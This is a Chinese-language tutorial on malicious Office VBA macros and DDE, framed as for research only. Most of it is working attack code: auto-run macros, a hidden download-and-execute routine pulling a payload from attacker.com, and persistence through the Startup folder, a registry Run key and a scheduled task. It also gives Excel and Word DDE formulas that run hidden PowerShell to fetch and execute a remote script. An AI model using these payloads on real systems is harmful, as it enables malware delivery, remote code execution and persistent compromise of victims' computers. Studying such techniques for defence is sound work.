之前我們在 excel.exe 看到了 VBA 和 DDE 的攻擊手法,
但當時可能很快就將這兩個工具很快帶過,
今天我們就一起來深入看看他們的語法與應用吧!
p.s. 不過也先說,以下攻擊手法都只做為研究用途,
應該下面絕大多數都被 patch 掉了,
大家也可以在學會語法後,研究看看有沒有 bypass 的方法
Microsoft Office 內建的程式語言,用在自動化操作。有完整系統存取權限,所以也是常見的惡意軟體載體。
Windows 應用程式間的通訊協定,可以在 Office 文件中執行命令,不需啟用巨集。
Alt + F11
Sub HelloWorld()
MsgBox "Hello, VBA!"
End Sub
說明:
Sub BasicSyntax()
' 變數宣告
Dim userName As String
Dim userAge As Integer
Dim salary As Double
userName = "John"
userAge = 30
salary = 50000.5
' 顯示結果
MsgBox "Name: " & userName & vbCrLf & _
"Age: " & userAge & vbCrLf & _
"Salary: " & salary
' 條件判斷
If userAge >= 18 Then
MsgBox "Adult"
Else
MsgBox "Not 18 yet"
End If
' 迴圈
Dim i As Integer
Dim result As String
result = ""
For i = 1 To 5
result = result & i & " "
Next i
MsgBox "Loop Result: " & result
End Sub
說明:
Dim
用來宣告變數&
用來連接字串vbCrLf
是換行符號_
可以把一行程式碼分成多行Sub FileOperations()
' 設定檔案路徑(使用桌面以避免權限問題)
Dim desktopPath As String
Dim filePath As String
desktopPath = CreateObject("WScript.Shell").SpecialFolders("Desktop")
filePath = desktopPath & "\test_vba.txt"
' 寫入檔案
Dim fileNum As Integer
fileNum = FreeFile
Open filePath For Output As #fileNum
Print #fileNum, "testtesttest=========="
Print #fileNum, "test2"
Print #fileNum, "test3"
Close #fileNum
MsgBox "File Created at: " & filePath
' 讀取檔案
Dim content As String
Dim line As String
content = ""
fileNum = FreeFile
Open filePath For Input As #fileNum
Do While Not EOF(fileNum)
Line Input #fileNum, line
content = content & line & vbCrLf
Loop
Close #fileNum
MsgBox "File content:" & vbCrLf & content
End Sub
說明:
FreeFile
取得可用的檔案編號Open...For Output
寫入模式(會覆蓋)Open...For Input
讀取模式EOF()
檢查是否到達檔案結尾Sub RunCommand()
' 使用 Shell 執行簡單命令
Dim result As Long
result = Shell("notepad.exe", vbNormalFocus)
MsgBox "Notepad opened already, Process ID: " & result
End Sub
Sub RunCommandAdvanced()
' 使用 WScript.Shell 執行命令
Dim shell As Object
Set shell = CreateObject("WScript.Shell")
' 執行 ipconfig 並顯示視窗
shell.Run "cmd.exe /k ipconfig", 1, False
MsgBox "Run ipconfig already"
End Sub
Sub GetEnvironmentInfo()
' 取得系統資訊
Dim shell As Object
Set shell = CreateObject("WScript.Shell")
Dim info As String
info = "Computer Name: " & shell.ExpandEnvironmentStrings("%COMPUTERNAME%") & vbCrLf
info = info & "Username: " & shell.ExpandEnvironmentStrings("%USERNAME%") & vbCrLf
info = info & "Temp dir: " & shell.ExpandEnvironmentStrings("%TEMP%")
MsgBox info
End Sub
說明:
Shell
是最簡單的方式,可以開啟程式vbNormalFocus
表示正常顯示視窗CreateObject("WScript.Shell")
建立 Shell 物件Run
的參數:命令、視窗狀態、是否等待/k
讓 cmd 執行命令後保持開啟Sub NetworkOperations()
Dim http As Object
Set http = CreateObject("MSXML2.XMLHTTP")
' 下載檔案
http.Open "GET", "http://example.com/file.txt", False
http.Send
If http.Status = 200 Then
Dim stream As Object
Set stream = CreateObject("ADODB.Stream")
stream.Type = 1 ' Binary
stream.Open
stream.Write http.responseBody
stream.SaveToFile "C:\downloaded.txt", 2
stream.Close
End If
' POST 請求
http.Open "POST", "http://example.com/api", False
http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
http.Send "key=value"
MsgBox http.responseText
End Sub
說明:
MSXML2.XMLHTTP
發送 HTTP 請求Open
的第三個參數 False 表示同步(等待完成)Status = 200
表示請求成功ADODB.Stream
處理二進位資料SaveToFile
的第二個參數:1=不覆寫,2=覆寫' Excel:在 ThisWorkbook 模組
Private Sub Workbook_Open()
ExecutePayload
End Sub
' Word:在模組中
Sub AutoOpen()
ExecutePayload
End Sub
Sub ExecutePayload()
MsgBox "文件已開啟,巨集執行中"
' 就可以在這裡放 payload 了
End Sub
說明:
Workbook_Open
是 Excel 的開啟事件AutoOpen
是 Word 的自動執行巨集.xlsm
格式(啟用巨集的活頁簿).docm
格式Sub DownloadAndExecute()
On Error Resume Next ' 忽略錯誤
Dim http As Object
Dim stream As Object
Dim shell As Object
Dim url As String
Dim savePath As String
url = "http://attacker.com/payload.exe"
savePath = Environ("TEMP") & "\update.exe"
Set http = CreateObject("MSXML2.XMLHTTP")
Set stream = CreateObject("ADODB.Stream")
Set shell = CreateObject("WScript.Shell")
' 下載
http.Open "GET", url, False
http.Send
If http.Status = 200 Then
stream.Type = 1
stream.Open
stream.Write http.responseBody
stream.SaveToFile savePath, 2
stream.Close
' 執行
shell.Run savePath, 0, False
End If
End Sub
說明:
On Error Resume Next
讓程式碰到錯誤時繼續執行Environ("TEMP")
取得暫存目錄,通常不會被注意shell.Run
的 0 表示隱藏視窗執行Sub CollectSystemInfo()
On Error Resume Next
Dim shell As Object
Dim fso As Object
Dim desktopPath As String
Dim reportPath As String
Dim fileNum As Integer
Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
' 設定報告路徑
desktopPath = shell.SpecialFolders("Desktop")
reportPath = desktopPath & "\system_report.txt"
' 建立報告檔案
fileNum = FreeFile
Open reportPath For Output As #fileNum
' 收集基本資訊
Print #fileNum, "===== System Information Report ====="
Print #fileNum, "Collection Time: " & Now
Print #fileNum, ""
Print #fileNum, "Computer Name: " & shell.ExpandEnvironmentStrings("%COMPUTERNAME%")
Print #fileNum, "Username: " & shell.ExpandEnvironmentStrings("%USERNAME%")
Print #fileNum, "User Domain: " & shell.ExpandEnvironmentStrings("%USERDOMAIN%")
Print #fileNum, "Operating System: " & shell.ExpandEnvironmentStrings("%OS%")
Print #fileNum, "Processor: " & shell.ExpandEnvironmentStrings("%PROCESSOR_IDENTIFIER%")
Print #fileNum, "Number of Processors: " & shell.ExpandEnvironmentStrings("%NUMBER_OF_PROCESSORS%")
Print #fileNum, "Temp Directory: " & shell.ExpandEnvironmentStrings("%TEMP%")
Print #fileNum, ""
' Office 資訊
Print #fileNum, "===== Office Information ====="
Print #fileNum, "Application: " & Application.Name
Print #fileNum, "Version: " & Application.Version
Print #fileNum, "Document Path: " & ThisWorkbook.Path
Print #fileNum, ""
' 磁碟資訊
Print #fileNum, "===== Disk Information ====="
Dim drive As Object
For Each drive In fso.Drives
If drive.IsReady Then
Print #fileNum, "Drive " & drive.DriveLetter & ":"
Print #fileNum, " Type: " & drive.DriveType
Print #fileNum, " Total Size: " & Format(drive.TotalSize / 1024 / 1024 / 1024, "0.00") & " GB"
Print #fileNum, " Free Space: " & Format(drive.FreeSpace / 1024 / 1024 / 1024, "0.00") & " GB"
End If
Next drive
Close #fileNum
MsgBox "Report created at: " & reportPath, vbInformation
' 開啟報告檔案
shell.Run "notepad.exe " & reportPath
End Sub
說明:
Print #fileNum
寫入檔案Now
取得目前時間Format
格式化數字(將位元組轉換為 GB)Sub CreatePersistence()
Dim shell As Object
Dim fso As Object
Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
' 方法一:複製到啟動資料夾
Dim startupPath As String
startupPath = shell.SpecialFolders("Startup")
fso.CopyFile ThisWorkbook.FullName, startupPath & "\doc.xlsm", True
' 方法二:寫入註冊表
On Error Resume Next
shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Office", _
ThisWorkbook.FullName, "REG_SZ"
' 方法三:排程工作
Dim taskCmd As String
taskCmd = "schtasks /create /tn ""Update"" /tr """ & _
ThisWorkbook.FullName & """ /sc daily /st 09:00 /f"
shell.Run taskCmd, 0, True
End Sub
說明:
SpecialFolders("Startup")
取得啟動資料夾路徑ThisWorkbook.FullName
取得目前文件的完整路徑RegWrite
寫入註冊表的 Run 鍵,開機自動執行schtasks
建立排程工作,定時執行在 Excel 儲存格中輸入以下公式:
=cmd|'/c powershell.exe -w hidden IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/p.ps1")'!A1
或
=cmd|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!''
說明:
=應用程式|'命令'!項目
cmd|'/c ...'
透過 cmd 執行命令-w hidden
隱藏 PowerShell 視窗IEX
是 Invoke-Expression,執行下載的腳本\..\..\..\
是路徑跳脫,繞過限制在 Word 中:
Ctrl + F9
插入欄位{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell.exe -w hidden $d='http://attacker.com/p.ps1';IEX(New-Object Net.WebClient).DownloadString($d)" }
說明:
{ }
是 Word 的欄位語法DDEAUTO
自動更新欄位(自動執行)/k
執行命令後保持視窗開啟(但我們用 hidden 隱藏了)Sub CreateDDEDocument()
Dim doc As Document
Set doc = Documents.Add
' 插入 DDE 欄位
Dim fld As Field
Set fld = doc.Fields.Add(Range:=Selection.Range, _
Type:=wdFieldEmpty, _
Text:="DDEAUTO c:\\windows\\system32\\cmd.exe ""/k calc.exe""", _
PreserveFormatting:=True)
fld.Update
doc.SaveAs2 "C:\malicious.docx"
End Sub
說明:
wdFieldEmpty
表示空白欄位類型Text
參數是 DDE 公式內容